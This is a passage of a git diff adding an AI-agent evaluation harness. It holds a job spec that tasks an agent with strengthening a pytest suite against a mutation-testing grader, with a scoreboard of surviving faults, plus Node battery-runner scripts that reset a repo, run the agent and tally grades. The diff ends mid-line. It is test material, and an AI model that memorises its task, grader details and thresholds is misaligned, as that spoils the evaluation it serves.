orchestrator at packages/soar/src/aurora_soar/orchestrator.py (2,455 lines) already lives at tests/testgen/ — conftest.py with working injected fakes, tests/testgen/unit/ (29 tests), tests/testgen/integration/ (10 tests), all passing. Repository root: /home/hamr/PycharmProjects/bareloop-patients/aurora-soar. An external close you cannot run has ALREADY graded this suite: every test passes against the current source and the shape floor is met, but the suite detects only 15% of hidden planted faults — the passing bar is 45%. Your job is to STRENGTHEN the existing suite so it detects more faults. Read the current tests first, then sharpen weak assertions and add behavior-asserting tests that target the functions where planted faults currently survive. The grader's survivor scoreboard (function name: undetected planted faults): execute: 4, _check_soar_cache_hit: 4, _configure_health_monitoring: 3, _phase7_record: 3, _phase3_decompose: 2, _execute_simple_path: 2, _handle_execution_error: 2, _build_verify_only_result: 2, _build_cached_verify_result: 2, _check_goals_json_cache: 2, _get_progress_callback: 1, _phase2_retrieve: 1, _inject_context_files: 1, _phase5_collect: 1, _handle_critical_failure: 1, _handle_verification_failure: 1, _split_large_chunk_by_sections: 1, _classify_api_error: 1. Planted faults are small behavioral changes inside those functions (flipped comparisons, off-by-one constants, swapped booleans, dropped return values) — a test detects one by asserting the SPECIFIC current behavior: exact return values, state transitions, error routing, call delegation through the class's methods. The class takes injected dependencies (store, config, reasoning_llm, solving_llm, agent_registry) — the existing conftest.py already provides working fakes; drive everything offline, no network, no real models; pytest and pytest-asyncio are installed. Testing standards: test behavior, not implementation; smoke asserts (not-None, no-exception) are worthless here; every test is self-contained (tmp_path, monkeypatch, fakes) and deterministic; parametrize only where it multiplies coverage of real behavior. Only tests/testgen/** is writable — never modify source files; tests must never read source files off the filesystem, hash them, touch os.environ, or spawn subprocesses (the close rejects the suite if they do). All existing tests must KEEP passing against the current source. After each attempt, an automatic check runs your suite against the untouched source — a suite identical to the existing one, or one with failing tests, comes back to you as the failure output, and you get another bounded attempt to fix it. Stop when the suite is strengthened.", + "verdictType": "green", + "close": { + "type": "predicate", + "cmd": "/home/hamr/PycharmProjects/bareloop-patients/aurora-soar-bareloop/testgen-close.sh", + "expect": 0, + "judged": { "pattern": "TESTGEN judged=(\\d+)", "min": 1 }, + "gapKeep": "^TESTGEN " + }, + "checks": [ + { + "name": "clean-run", + "cmd": "/home/hamr/PycharmProjects/bareloop-patients/aurora-soar-bareloop/l2poc-check-close.sh", + "expect": 0, + "judged": { "pattern": "TESTGEN judged=(\\d+)", "min": 1 }, + "gapKeep": "^TESTGEN " + } + ], + "tools": ["read", "grep", "write", "edit", "recall", "get"] +} diff --git a/package-lock.json b/package-lock.json index 90cd31e..857192b 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,15 +1,15 @@ { "name": "bareloop", - "version": "0.4.0", + "version": "0.5.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "bareloop", - "version": "0.4.0", + "version": "0.5.0", "license": "Apache-2.0", "dependencies": { - "bare-agent": "^0.32.0", + "bare-agent": "^0.33.1", "bareguard": "^0.12.0", "litectx": "^0.29.1" }, @@ -32,9 +32,9 @@ } }, "node_modules/bare-agent": { - "version": "0.32.0", - "resolved": "https://registry.npmjs.org/bare-agent/-/bare-agent-0.32.0.tgz", - "integrity": "sha512-vvysDTQT54O4zrkWkCXTvYC10o/jgqrEoLf+p7B/nKpRDjxUBx8O1LSvOeEiZgcw32LbgR+xMthr7yUNmXzY0A==", + "version": "0.33.1", + "resolved": "https://registry.npmjs.org/bare-agent/-/bare-agent-0.33.1.tgz", + "integrity": "sha512-P4Po03MoScRQZ4uWOu9HlBxkME7ZqhzNxj+5/BGAmkKUWedFhimFxxgv3zlk8iA3qv2Q7thyM+qRwgSDXtOYAA==", "license": "Apache-2.0", "bin": { "bare-agent": "bin/cli.js" diff --git a/package.json b/package.json index be8a68a..6599c61 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "bareloop", - "version": "0.4.0", + "version": "0.5.0", "description": "Workflows that earn their own design, with receipts — agent-authored workflows for repeated, long, verifiable jobs that improve across runs under an un-gameable gate.", "type": "module", "main": "./src/index.js", @@ -23,7 +23,7 @@ "prepublishOnly": "npm run build:types" }, "dependencies": { - "bare-agent": "^0.32.0", + "bare-agent": "^0.33.1", "bareguard": "^0.12.0", "litectx": "^0.29.1" }, diff --git a/scripts/run-battery-l2accept-clipipe.mjs b/scripts/run-battery-l2accept-clipipe.mjs new file mode 100644 index 0000000..6703211 --- /dev/null +++ b/scripts/run-battery-l2accept-clipipe.mjs @@ -0,0 +1,309 @@ +// Layer 2 CLIPIPE cross-surface battery — job #4 through the REAL plan flow on the +// NATIVE clipipe subscription surface (BA-16, module 4d). Same frozen read as the API +// acceptance battery (prereg 2026-07-22a): n=3 acting rows, >=2/3 L2-CONVERT, 45-bar +// recorded. This REPLICATES F47 on a different surface — does the built machinery also +// convert when the `claude` CLI drives the turn cycle natively? +// +// All dollars NOTIONAL (subscription-equivalent) — NEVER pooled with anthropic-api rows +// (F42/job-v1 doctrine). F47's API numbers are a cross-surface REFERENCE, not a baseline +// on this surface (different prompting/turn surface). No API key: workers run on the +// Claude subscription via the CLI; the grader/check run locally. +// +// node scripts/run-battery-l2accept-clipipe.mjs # prints hash + plan, spends nothing +// node scripts/run-battery-l2accept-clipipe.mjs --approve [--need N] [--priorUsd X] + +import { createRequire } from 'node:module'; +import { execFileSync } from 'node:child_process'; +import { readFileSync, writeFileSync, existsSync, renameSync, mkdirSync, rmSync, readdirSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { join, resolve, dirname, relative } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { runJob } from '../src/run.js'; +import { jobSpecHash } from '../src/job.js'; +import { makeSpine } from '../src/spine.js'; +import { SECRET_PATTERNS } from '../src/validate.js'; + +const require = createRequire(import.meta.url); +const { CLIPipe } = require('bare-agent/providers'); + +const WORKDIR = '/home/hamr/PycharmProjects/bareloop-patients/aurora-soar'; +const COMMIT = 'd661e507c5cd0981368d90ed3e3abf6e2bb9ed18'; +const MODEL = 'claude-sonnet-5'; +const CLI_TIMEOUT_MS = 1_200_000; // per native CLI session (~23s/turn × up to 40 rounds; F48 raised from 900s) +const CLOSE_TIMEOUT_MS = 1_800_000; +const FROZEN_SHA_PREFIX = 'b75a7fe7f71199f8'; +const THRESHOLD = 45; +const SEED_BASELINE_RATE = 15; +const SEED_DIR = fileURLToPath(new URL('../docs/02-experiments/testgen-seed-suite', import.meta.url)); +const SEED_FILES = ['conftest.py', 'unit/test_orchestrator_helpers.py', 'integration/test_execute_simple_path.py']; +const SURVIVOR_FUNCS = [ + 'execute', '_check_soar_cache_hit', '_configure_health_monitoring', '_phase7_record', + '_phase3_decompose', '_execute_simple_path', '_handle_execution_error', + '_build_verify_only_result', '_build_cached_verify_result', '_check_goals_json_cache', + '_get_progress_callback', '_phase2_retrieve', '_inject_context_files', '_phase5_collect', + '_handle_critical_failure', '_handle_verification_failure', '_split_large_chunk_by_sections', + '_classify_api_error', +]; + +// caps — NOTIONAL dollars. $8/row (generous; native metering settles at session close), +// $30 cumulative hard-stop, n=3 acting rows, capRuns=4. Sizing confirmed by the POC smoke +// BEFORE the prereg freezes the cap. +const HARD_STOP_USD = 30; +const N_ACT = 3; +const MAX_LAUNCHES = 6; +const CAP_RUNS = 4; + +const has = (/** @type {string} */ name) => process.argv.includes(`--${name}`); +const arg = (/** @type {string} */ name) => { + const i = process.argv.indexOf(`--${name}`); + return i === -1 ? null : (process.argv[i + 1] ?? ''); +}; + +const spec = JSON.parse(readFileSync(new URL('../jobs/aurora-testgen-l2accept-clipipe.json', import.meta.url), 'utf8')); +const specHash = jobSpecHash(spec); +const dry = has('dry'); +const need = Math.max(1, Number(arg('need') ?? N_ACT)); +const priorUsd = Math.max(0, Number(arg('priorUsd') ?? 0)); + +const approved = arg('approve'); +if (approved !== specHash) { + console.log('LAYER 2 CLIPIPE cross-surface battery — job #4 REAL plan flow, native clipipe-subscription (NOTIONAL dollars)'); + console.log(` spec jobs/aurora-testgen-l2accept-clipipe.json $${spec.budgetUsd}/row capRuns=${CAP_RUNS} hash ${specHash}`); + console.log(` patient ${WORKDIR} @ ${COMMIT.slice(0, 12)} + frozen seed (${SEED_BASELINE_RATE}% baseline)`); + console.log(` ${N_ACT} ACT rows, ${MAX_LAUNCHES} launches max, hard-stop $${HARD_STOP_USD} NOTIONAL, threshold ${THRESHOLD}%`); + if (approved !== null) console.error(`\nREFUSED: --approve ${approved} does not match this spec version.`); + console.log(`\nTo approve and run:\n node scripts/run-battery-l2accept-clipipe.mjs --approve ${specHash}`); + process.exit(approved === null ? 0 : 1); +} +const approvals = [{ specHash, signer: process.env.USER ?? 'human', ts: new Date().toISOString() }]; + +// The native provider FACTORY (BA-16 / module 4d live-smoke pattern): native governance +// is constructor-time and per-worker, so the runner calls this fresh per worker. +// hasTools:true -> native tool mode (claude-mcp); policy/onTurn/maxTurns clip the arbiter +// onto the PROVIDER (the CLI owns the loop). +// hasTools:false -> the toolless drafter; a native no-tools session reports NO cost +// (onTurn silent), so it runs metered claude-json TEXT mode instead. +const nativeProvider = dry + ? /** @type {any} */ (() => { throw new Error('DRY RUN: native provider constructed — this run was supposed to spend nothing'); }) + : (/** @type {{policy:Function, onTurn?:Function, maxTurns:number, hasTools:boolean}} */ { policy, onTurn, maxTurns, hasTools }) => hasTools + // F48: the native session needs `sessionTimeout` (the whole-session wall clock, default 600s) — + // `timeout` is only the outer generate ceiling. A slow multi-round native step (~23s/turn × 30 + // rounds ≈ 690s) blew past the 600s default, hit session_timeout, and reported UNPRICED cost → + // pricing-red casualty before grading. Size the session clock to the step's round budget. + ? new CLIPipe({ command: 'claude', args: ['-p', '--model', MODEL, '--strict-mcp-config', '--setting-sources', ''], toolProtocol: 'claude-mcp', policy, onTurn, maxTurns, timeout: CLI_TIMEOUT_MS, sessionTimeout: CLI_TIMEOUT_MS }) + : new CLIPipe({ command: 'claude', args: ['-p', '--model', MODEL, '--output-format', 'json', '--tools', '', '--strict-mcp-config', '--setting-sources', ''], parse: 'claude-json', timeout: CLI_TIMEOUT_MS }); +// the Loop-path `provider` is never used for a clipipe job (the factory serves both surfaces) +const provider = /** @type {any} */ ({ async generate() { throw new Error('the API Loop provider was called on a clipipe job — native factory should serve every worker'); } }); + +const wd = resolve(WORKDIR); +const spineDir = join(wd, '..', `${wd.split('/').at(-1)}-bareloop`); +mkdirSync(spineDir, { recursive: true }); +const graderSh = join(spineDir, 'testgen-close.sh'); +const checkSh = join(spineDir, 'l2poc-check-close.sh'); +const graderLog = join(spineDir, 'testgen-close-log.jsonl'); +for (const f of [graderSh, checkSh]) { + if (!existsSync(f)) { console.error(`close wrapper missing: ${f}`); process.exit(2); } +} +const thresholdFile = join(spineDir, 'testgen-threshold.txt'); +if (!existsSync(thresholdFile) || Number(readFileSync(thresholdFile, 'utf8').trim()) !== THRESHOLD) { + console.error(`testgen-threshold.txt missing or != ${THRESHOLD} — the grader must grade at the frozen bar`); + process.exit(2); +} +const runid = Date.now().toString(36); + +const git = (/** @type {string[]} */ args) => execFileSync('git', ['-C', wd, ...args], { encoding: 'utf8' }).trim(); +const sha = (/** @type {string|Buffer} */ s) => createHash('sha256').update(s).digest('hex'); + +const seedManifest = Object.fromEntries( + readFileSync(join(SEED_DIR, 'MANIFEST.sha256'), 'utf8').trimEnd().split('\n').filter(Boolean) + .map((l) => { const m = l.match(/^([0-9a-f]{64})\s+(.+)$/); if (!m) throw new Error(`bad manifest line: ${l}`); return [m[2], m[1]]; }), +); + +function archiveAudit(/** @type {string} */ dest) { + const src = join(wd, 'gate-audit.jsonl'); + if (!existsSync(src)) return null; + renameSync(src, dest); + return dest; +} + +function resetPatient() { + const stray = archiveAudit(join(spineDir, `l2clip-${runid}-orphan-gate-audit-${Date.now().toString(36)}.jsonl`)); + if (stray) console.log(` reset archived stray gate audit → ${stray}`); + git(['checkout', '--force', '--quiet', COMMIT]); + const head = git(['rev-parse', 'HEAD']); + if (head !== COMMIT) throw new Error(`reset failed: HEAD ${head} != frozen ${COMMIT}`); + git(['clean', '-fdq', '-e', '.venv', '-e', '.smoke', '-e', '.litectx']); + rmSync(join(wd, '.litectx'), { recursive: true, force: true }); + if (existsSync(join(wd, 'tests/testgen'))) throw new Error('reset left tests/testgen behind — row independence broken'); + const orch = readFileSync(join(wd, 'packages/soar/src/aurora_soar/orchestrator.py')); + if (!sha(orch).startsWith(FROZEN_SHA_PREFIX)) throw new Error('reset left orchestrator off the frozen hash'); + const status = git(['status', '--porcelain']); + if (status !== '') throw new Error(`reset left the tree dirty:\n${status}`); +} + +function seedPatient() { + for (const rel of SEED_FILES) { + const body = readFileSync(join(SEED_DIR, rel)); + if (sha(body) !== seedManifest[rel]) throw new Error(`seed drift vs MANIFEST.sha256: ${rel}`); + const dest = join(wd, 'tests/testgen', rel); + mkdirSync(dirname(dest), { recursive: true }); + writeFileSync(dest, body); + } +} + +function seedDelta() { + const root = join(wd, 'tests/testgen'); + /** @type {string[]} */ + const files = []; + (function walk(/** @type {string} */ d) { + if (!existsSync(d)) return; + for (const e of readdirSync(d, { withFileTypes: true })) { + const p = join(d, e.name); + if (e.isDirectory()) walk(p); + else if (e.name.endsWith('.py')) files.push(p); + } + })(root); + /** @type {Array<{file: string, status: string}>} */ + const changed = []; + let newOrModifiedContent = ''; + for (const f of files) { + const rel = relative(root, f); + const body = readFileSync(f); + const known = seedManifest[rel]; + if (!known) { changed.push({ file: rel, status: 'new' }); newOrModifiedContent += body.toString(); } + else if (sha(body) !== known) { changed.push({ file: rel, status: 'modified' }); newOrModifiedContent += body.toString(); } + } + for (const rel of SEED_FILES) { + if (!existsSync(join(root, rel))) changed.push({ file: rel, status: 'deleted' }); + } + const targeted = SURVIVOR_FUNCS.filter((fn) => newOrModifiedContent.includes(fn)); + return { changed, targeted }; +} + +const logLines = (/** @type {string} */ f) => existsSync(f) ? readFileSync(f, 'utf8').trimEnd().split('\n').filter(Boolean) : []; + +console.log(`spec ${specHash} approved by ${approvals[0].signer} runid ${runid}${dry ? ' [DRY]' : ` model ${MODEL} via native clipipe`}`); +console.log(`caps $${spec.budgetUsd}/row capRuns=${CAP_RUNS} · hard-stop $${HARD_STOP_USD} NOTIONAL · threshold ${THRESHOLD}% · seed ${SEED_BASELINE_RATE}%\n`); + +/** @type {any[]} */ +const rows = []; +let cumulativeUsd = priorUsd; +let stop = null; +let launches = 0; + +const isAct = (/** @type {any} */ r) => r.valid && r.acted > 0; + +for (let i = 1; rows.filter(isAct).length < need && launches < MAX_LAUNCHES && !stop; i++) { + if (cumulativeUsd + spec.budgetUsd > HARD_STOP_USD) { + stop = `battery cap: $${cumulativeUsd.toFixed(4)} + $${spec.budgetUsd}/row would exceed $${HARD_STOP_USD} — row ${i} not launched`; + break; + } + launches++; + console.log(`\n== L${i} ==`); + resetPatient(); + seedPatient(); + console.log(` reset clean at ${COMMIT.slice(0, 12)} + seed copied (manifest-verified)`); + + const beforeGrader = logLines(graderLog).length; + const spineFile = join(spineDir, `l2clip-L${i}-${runid}.jsonl`); + const outcome = await runJob(spec, { + approvals, workdir: wd, provider, nativeProvider, emit: makeSpine(spineFile), + shellCapUsd: spec.budgetUsd, capRuns: CAP_RUNS, closeTimeoutMs: CLOSE_TIMEOUT_MS, + }); + const audit = archiveAudit(join(spineDir, `l2clip-L${i}-${runid}-gate-audit.jsonl`)); + const delta = seedDelta(); + + const raw = readFileSync(spineFile, 'utf8'); + const events = raw.trimEnd().split('\n').filter(Boolean).map((l) => JSON.parse(l)); + const je = events.findLast((e) => e.type === 'job-end'); + const spentUsd = je?.spentUsd ?? null; + const spendComplete = je?.spendComplete; + const leaks = SECRET_PATTERNS.map((re) => new RegExp(re.source, re.flags.replace('g', '') + 'g')).flatMap((re) => raw.match(re) ?? []); + const casualty = events.some((e) => e.type === 'escalation' && e.category === 'provider-red'); + + const auditEntries = audit ? logLines(audit).map((l) => JSON.parse(l)) : []; + const acted = auditEntries.filter((e) => e.decision === 'allow' && (e.action?.type === 'write' || e.action?.type === 'edit')).length; + // native surface reports rounds as worker-round kind:'session'; count both for visibility + const rounds = events.filter((ev) => ev.type === 'worker-round').length; + const turns = events.filter((ev) => ev.type === 'worker-turn').length; + + const planAccepted = events.filter((e) => e.type === 'plan-accepted').map((e) => e.plan); + const planReferencedCheck = planAccepted.some((p) => (p?.steps ?? []).some((s) => (s.exit ?? []).some((x) => x.type === 'check-passes' && x.name === 'clean-run'))); + const planSteps = planAccepted.length ? (planAccepted[0].steps ?? []).length : 0; + const replanned = planAccepted.length > 1; + + const graderSlice = logLines(graderLog).slice(beforeGrader).map((l) => JSON.parse(l)); + const precheck = graderSlice[0] ?? null; + const grade = graderSlice.length >= 2 ? graderSlice[graderSlice.length - 1] : null; + const precheckOk = precheck != null && precheck.phase === 'verdict' && precheck.rate === SEED_BASELINE_RATE; + + const converted = acted > 0 && grade != null && grade.phase === 'verdict'; + const green45 = outcome === 'green' || (grade != null && grade.phase === 'verdict' && grade.rate >= THRESHOLD); + + /** @type {any} */ + const row = { + run: `L${i}`, outcome, casualty, acted, rounds, turns, planSteps, planReferencedCheck, replanned, + precheck: precheck ? { phase: precheck.phase, rate: precheck.rate ?? null } : null, + grade: grade ? { phase: grade.phase, rate: grade.rate ?? null, killed: grade.killed ?? null } : null, + converted, green45, vsSeed: grade?.rate != null ? (grade.rate > SEED_BASELINE_RATE ? 'UP' : 'FLAT') : null, + delta, spentUsd, spendComplete, secretsClean: leaks.length === 0, spine: spineFile, audit, + }; + + if (casualty) { row.cls = 'CASUALTY'; row.valid = false; } + else if (!precheckOk) { row.cls = 'INSTRUMENT-STOP(precheck-drift)'; row.valid = false; stop = `L${i}: grader precheck read ${precheck ? `${precheck.phase}:${precheck.rate}` : 'null'} != verdict:${SEED_BASELINE_RATE} — drift, re-derive`; } + else if (acted === 0) { row.cls = 'L2-INERT'; row.valid = true; } + else if (outcome === 'plan-red') { row.cls = 'L2-PLAN-RED'; row.valid = true; } + else if (converted) { row.cls = 'L2-CONVERT'; row.valid = true; } + else { row.cls = 'L2-NO-CONVERT'; row.valid = true; } + + rows.push(row); + cumulativeUsd += row.spentUsd ?? 0; + const g = row.grade ? ` grade=${row.grade.phase}${row.grade.rate != null ? ':' + row.grade.rate + '%' : ''}` : ''; + console.log(` row outcome=${outcome} class=${row.cls} acted=${acted} rounds=${rounds} turns=${turns} planSteps=${planSteps} planCheck=${planReferencedCheck}${row.replanned ? ' REPLANNED' : ''}${g} spent=${row.spentUsd == null ? 'UNKNOWN' : `${row.spendComplete === false ? '≥' : ''}$${row.spentUsd.toFixed(4)} notional`}`); + console.log(` read converted=${converted} green45=${green45} vsSeed=${row.vsSeed ?? '-'} delta targeted=${delta.targeted.length}/${SURVIVOR_FUNCS.length}`); + if (!row.secretsClean) { stop = `L${i}: SPINE LEAK — the hard line is broken`; break; } + if (!dry && (row.spendComplete === false || row.spentUsd == null)) { stop = `L${i}: spend not governable (floor/unpriced) — the cap cannot govern it`; break; } +} + +resetPatient(); +console.log(`\npatient reset — clean at ${COMMIT.slice(0, 12)} (seed removed)`); + +const actRows = rows.filter(isAct); +const converts = actRows.filter((r) => r.cls === 'L2-CONVERT').length; +const inert = rows.filter((r) => r.cls === 'L2-INERT').length; +const greens45 = rows.filter((r) => r.green45).length; +let reading; +if (stop && stop.includes('precheck-drift')) reading = 'VOID: grader precheck drift — instrument, no read'; +else if (need !== N_ACT) reading = `CONTINUATION: ${actRows.length} acting row(s) this invocation — combine with prior banked rows for the frozen n=${N_ACT} read`; +else if (actRows.length < N_ACT) reading = `INCOMPLETE (${actRows.length}/${N_ACT} acting rows) — report rows in hand, no top-up without hamr`; +else if (converts >= 2) reading = 'CLIPIPE CONVERTS: the native surface reproduces conversion (>=2/3 acting rows graded) — cross-surface replication of F47 holds'; +else if (converts === 0) reading = 'CLIPIPE DID NOT CONVERT: the native surface did not reproduce conversion — report, decide with hamr'; +else reading = 'MIXED (1 of 3) — report to hamr'; + +const results = { + runid, specHash, commit: COMMIT, dry, model: dry ? null : MODEL, provider: 'clipipe-subscription', notional: true, + threshold: THRESHOLD, seedBaselineRate: SEED_BASELINE_RATE, capRuns: CAP_RUNS, + hardStopUsd: HARD_STOP_USD, cumulativeUsd, stop, launches, rows, + summary: { + actRows: actRows.length, converts, noConvert: actRows.filter((r) => r.cls === 'L2-NO-CONVERT').length, + planReds: rows.filter((r) => r.cls === 'L2-PLAN-RED').length, inert, + casualties: rows.filter((r) => r.cls === 'CASUALTY').length, + planComposedCheck: actRows.filter((r) => r.planReferencedCheck).length, + greens45, grades: actRows.map((r) => r.grade?.rate ?? null), vsSeed: actRows.map((r) => r.vsSeed ?? null), + reading, + }, +}; +const resultsFile = join(spineDir, `l2clip-results-${runid}.json`); +writeFileSync(resultsFile, JSON.stringify(results, null, 2) + '\n'); + +console.log('\nrun outcome class acted rounds planCheck grade green45 spent(notional)'); +for (const r of rows) { + const g = r.grade ? `${r.grade.phase}${r.grade.rate != null ? ':' + r.grade.rate + '%' : ''}` : '-'; + console.log(`${r.run.padEnd(4)} ${String(r.outcome ?? '-').padEnd(14)} ${String(r.cls).padEnd(16)} ${String(r.acted ?? '-').padEnd(6)} ${String(r.rounds ?? '-').padEnd(7)} ${String(r.planReferencedCheck).padEnd(10)} ${g.padEnd(13)} ${String(r.green45).padEnd(8)} ${r.spentUsd == null ? '-' : `$${r.spentUsd.toFixed(4)}`}`); +} +console.log(`\nacting ${actRows.length} · CONVERT ${converts} · INERT ${inert} · greens@${THRESHOLD} ${greens45} · plan-composed-check ${results.summary.planComposedCheck}/${actRows.length} · spend $${cumulativeUsd.toFixed(4)} of $${HARD_STOP_USD} NOTIONAL`); +console.log(`grades: ${JSON.stringify(results.summary.grades)} (API/F47 cross-surface ref: 67.5/55/55)`); +console.log(`reading: ${reading}`); +if (stop) console.log(`STOP: ${stop}`); +console.log(`results: ${resultsFile}`); +process.exit(0); diff --git a/scripts/run-battery-l2accept.mjs b/scripts/run-battery-l2accept.mjs new file mode 100644 index 0000000..0179b4e --- /dev/null +++ b/scripts/run-battery-l2accept.mjs @@ -0,0 +1,325 @@ +// Layer 2 rung ACCEPTANCE battery — job #4 (TESTGEN) through the REAL plan flow. +// TESTGEN-PREREG.md amendment 2026-07-22a (frozen BEFORE any number). +// +// This is NOT the POC (run-poc-layer2.mjs, which HARDWIRED the winning check +// composition). Here the four-field plan-shape spec dispatches runJob -> runPlan: +// scout -> Planner drafts a plan-v1 DAG -> validator gates -> per-step Loop+Gate +// executor (the signed `clean-run` check is referenced by the plan as a step exit) +// -> outer grader close (the only truth) + its bounded fix loop. The AGENT authors +// the check composition the POC hardwired; whether it does is part of the read. +// +// Reads against F39 (0 conversion; 3/3 acting rows died at the clean wall) and the +// POC (F46: 3/3 hardwired conversions, 0 at the 45 bar). Provider anthropic-api, +// worker claude-sonnet-5 (F39/POC surface — behavioral reads live where baselines live). +// +// PRIMARY (acceptance): >=2 of 3 acting rows L2-CONVERT (the flow drives the worker +// to a clean, GRADED suite — outer grader reaches phase 'verdict'). 0/3 = the build +// broke the premise, STOP. 1/3 = mixed, report. +// SECONDARY (recorded, NOT acceptance — pre-registered axis split): kill-rate, greens +// at 45 (F38's claim gets its first real-flow data), plan-composed-the-check rate, +// vs seed, vs POC. A 45 green additionally satisfies the "path closes green +// end-to-end" milestone that sunsets steps[] — recorded, never the gate. +// +// node scripts/run-battery-l2accept.mjs # prints hash + plan, spends nothing +// ANTHROPIC_API_KEY=... node scripts/run-battery-l2accept.mjs --approve + +import { createRequire } from 'node:module'; +import { execFileSync } from 'node:child_process'; +import { readFileSync, writeFileSync, existsSync, renameSync, mkdirSync, rmSync, readdirSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { join, resolve, dirname, relative } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { runJob } from '../src/run.js'; +import { jobSpecHash } from '../src/job.js'; +import { makeSpine } from '../src/spine.js'; +import { SECRET_PATTERNS } from '../src/validate.js'; + +const require = createRequire(import.meta.url); +const { AnthropicProvider } = require('bare-agent/providers'); + +const WORKDIR = '/home/hamr/PycharmProjects/bareloop-patients/aurora-soar'; +const COMMIT = 'd661e507c5cd0981368d90ed3e3abf6e2bb9ed18'; +const MODEL = 'claude-sonnet-5'; +const CLOSE_TIMEOUT_MS = 1_800_000; // per grader/check invocation (40 mutants ~1-2min) +const FROZEN_SHA_PREFIX = 'b75a7fe7f71199f8'; +const THRESHOLD = 45; +const SEED_BASELINE_RATE = 15; +const SEED_DIR = fileURLToPath(new URL('../docs/02-experiments/testgen-seed-suite', import.meta.url)); +const SEED_FILES = ['conftest.py', 'unit/test_orchestrator_helpers.py', 'integration/test_execute_simple_path.py']; +const SURVIVOR_FUNCS = [ + 'execute', '_check_soar_cache_hit', '_configure_health_monitoring', '_phase7_record', + '_phase3_decompose', '_execute_simple_path', '_handle_execution_error', + '_build_verify_only_result', '_build_cached_verify_result', '_check_goals_json_cache', + '_get_progress_callback', '_phase2_retrieve', '_inject_context_files', '_phase5_collect', + '_handle_critical_failure', '_handle_verification_failure', '_split_large_chunk_by_sections', + '_classify_api_error', +]; + +// frozen caps (amendment 2026-07-22a, hamr-signed): $8/row REAL, n=3 ACT rows, +// $30 hard-stop, capRuns=4 (mirrors the POC check loop). Budget must fund the plan +// steps PLUS the grader fix loop PLUS every check/grader run (16g sizing rule); if a +// row cap-halts before converting, that is a SIZING finding (re-size with hamr), not +// a premise fail. spendComplete=false / null spentUsd => STOP (spend not governable). +const HARD_STOP_USD = 30; +const N_ACT = 3; +const MAX_LAUNCHES = 6; +const CAP_RUNS = 4; + +const has = (/** @type {string} */ name) => process.argv.includes(`--${name}`); +const arg = (/** @type {string} */ name) => { + const i = process.argv.indexOf(`--${name}`); + return i === -1 ? null : (process.argv[i + 1] ?? ''); +}; + +const spec = JSON.parse(readFileSync(new URL('../jobs/aurora-testgen-l2accept.json', import.meta.url), 'utf8')); +const specHash = jobSpecHash(spec); +const dry = has('dry'); +// --runs N: run only N launches this invocation (casualty rows re-run to keep n=3) +const runsRequested = Math.max(1, Math.min(MAX_LAUNCHES, Number(arg('runs') ?? MAX_LAUNCHES))); +// --need N: acting-row target THIS invocation (continuation: prior valid acting rows +// banked in an earlier results file; the frozen n=3 read is combined across runs). +const need = Math.max(1, Number(arg('need') ?? N_ACT)); +// --priorUsd X: prior cumulative battery spend to fold into the $30 hard-stop, so the +// frozen cap governs across invocations (never widened silently). +const priorUsd = Math.max(0, Number(arg('priorUsd') ?? 0)); + +const approved = arg('approve'); +if (approved !== specHash) { + console.log('LAYER 2 ACCEPTANCE battery (prereg 2026-07-22a) — job #4 through the REAL plan flow, anthropic-api (REAL dollars)'); + console.log(` spec jobs/aurora-testgen-l2accept.json $${spec.budgetUsd}/row capRuns=${CAP_RUNS} hash ${specHash}`); + console.log(` patient ${WORKDIR} @ ${COMMIT.slice(0, 12)} + frozen seed (${SEED_BASELINE_RATE}% baseline)`); + console.log(` ${N_ACT} ACT rows, ${MAX_LAUNCHES} launches max, hard-stop $${HARD_STOP_USD} REAL, threshold ${THRESHOLD}%`); + if (approved !== null) console.error(`\nREFUSED: --approve ${approved} does not match this spec version.`); + console.log(`\nTo approve and run:\n ANTHROPIC_API_KEY=... node scripts/run-battery-l2accept.mjs --approve ${specHash}`); + process.exit(approved === null ? 0 : 1); +} +const approvals = [{ specHash, signer: process.env.USER ?? 'human', ts: new Date().toISOString() }]; + +const apiKey = process.env.ANTHROPIC_API_KEY; +if (!dry && !apiKey) { + console.error('ANTHROPIC_API_KEY not set (secrets load from the environment — never the tree)'); + process.exit(2); +} +const provider = dry + ? /** @type {any} */ ({ async generate() { throw new Error('DRY RUN: the provider was called — this run was supposed to spend nothing'); } }) + : new AnthropicProvider({ apiKey, model: MODEL }); + +const wd = resolve(WORKDIR); +const spineDir = join(wd, '..', `${wd.split('/').at(-1)}-bareloop`); +mkdirSync(spineDir, { recursive: true }); +const graderSh = join(spineDir, 'testgen-close.sh'); +const checkSh = join(spineDir, 'l2poc-check-close.sh'); +const graderLog = join(spineDir, 'testgen-close-log.jsonl'); +const checkLog = join(spineDir, 'l2poc-check-log.jsonl'); +for (const f of [graderSh, checkSh]) { + if (!existsSync(f)) { console.error(`close wrapper missing: ${f}`); process.exit(2); } +} +const thresholdFile = join(spineDir, 'testgen-threshold.txt'); +if (!existsSync(thresholdFile) || Number(readFileSync(thresholdFile, 'utf8').trim()) !== THRESHOLD) { + console.error(`testgen-threshold.txt missing or != ${THRESHOLD} — the grader must grade at the frozen bar`); + process.exit(2); +} +const runid = Date.now().toString(36); + +const git = (/** @type {string[]} */ args) => execFileSync('git', ['-C', wd, ...args], { encoding: 'utf8' }).trim(); +const sha = (/** @type {string|Buffer} */ s) => createHash('sha256').update(s).digest('hex'); + +const seedManifest = Object.fromEntries( + readFileSync(join(SEED_DIR, 'MANIFEST.sha256'), 'utf8').trimEnd().split('\n').filter(Boolean) + .map((l) => { const m = l.match(/^([0-9a-f]{64})\s+(.+)$/); if (!m) throw new Error(`bad manifest line: ${l}`); return [m[2], m[1]]; }), +); + +function archiveAudit(/** @type {string} */ dest) { + const src = join(wd, 'gate-audit.jsonl'); + if (!existsSync(src)) return null; + renameSync(src, dest); + return dest; +} + +function resetPatient() { + const stray = archiveAudit(join(spineDir, `l2accept-${runid}-orphan-gate-audit-${Date.now().toString(36)}.jsonl`)); + if (stray) console.log(` reset archived stray gate audit → ${stray}`); + git(['checkout', '--force', '--quiet', COMMIT]); + const head = git(['rev-parse', 'HEAD']); + if (head !== COMMIT) throw new Error(`reset failed: HEAD ${head} != frozen ${COMMIT}`); + git(['clean', '-fdq', '-e', '.venv', '-e', '.smoke', '-e', '.litectx']); + rmSync(join(wd, '.litectx'), { 